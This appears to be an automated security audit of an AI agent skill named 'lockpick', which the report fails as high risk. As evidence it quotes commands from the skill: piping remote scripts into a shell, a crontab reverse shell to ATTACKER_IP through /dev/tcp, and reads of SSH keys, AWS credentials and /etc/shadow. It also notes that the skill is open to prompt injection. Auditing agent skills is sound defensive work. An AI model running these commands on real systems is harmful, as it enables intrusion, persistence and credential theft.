lockpick
Fail
Audited by Gen Agent Trust Hub on Sep 21, 2026
Risk Level: HIGHCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCEINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill facilitates the download and immediate execution of scripts from external third-party sources.
- Evidence in
references/linux-privesc.md:curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shandcurl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy. - Evidence in
references/container-breakout.md:curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o /tmp/deepce.sh && /tmp/deepce.sh. - [PERSISTENCE]: The skill instructs the agent on establishing persistence on a target host during container escapes.
- Evidence in
references/container-breakout.md:echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab. - [DATA_EXFILTRATION]: Extensive instructions for establishing reverse shells and exfiltrating data to external infrastructure are provided.
- Evidence in
references/shells-and-pivoting.md: Multiple one-liners for Bash, Python, Perl, Netcat, PHP, Ruby, and Node.js designed to connect back to an externalATTACKER_IP. - [CREDENTIALS_UNSAFE]: The skill targets and reads highly sensitive files containing credentials and keys.
- Evidence in
SKILL.mdandreferences/vpn-iac-secrets.md: Harvesting~/.aws/credentials,~/.ssh/id_rsa,/etc/shadow,/etc/wireguard/*.conf(private keys), and Terraform state files. - [PRIVILEGE_ESCALATION]: The core methodology of the skill focuses on bypassing security boundaries and escalating privileges on Linux, Docker, and Kubernetes environments through SUID abuse, kernel exploits, and RBAC manipulation.
- [INDIRECT_PROMPT_INJECTION]: The skill possesses a broad attack surface for indirect prompt injection by ingesting and processing data from untrusted system command outputs and third-party tool results without sanitization.
- Ingestion points: Command outputs in Phase 1 (situational awareness) and tool outputs from LinPEAS and pspy.
- Boundary markers: None identified.
- Capability inventory: Full shell execution, file system writes, and network operations.
- Sanitization: No evidence of input sanitization or output validation before processing.
- [DYNAMIC_EXECUTION]: The skill uses dynamic execution patterns by piping remote content into shells and generating scripts at runtime for execution.
Recommendations
- AI detected serious security threats
Audit Metadata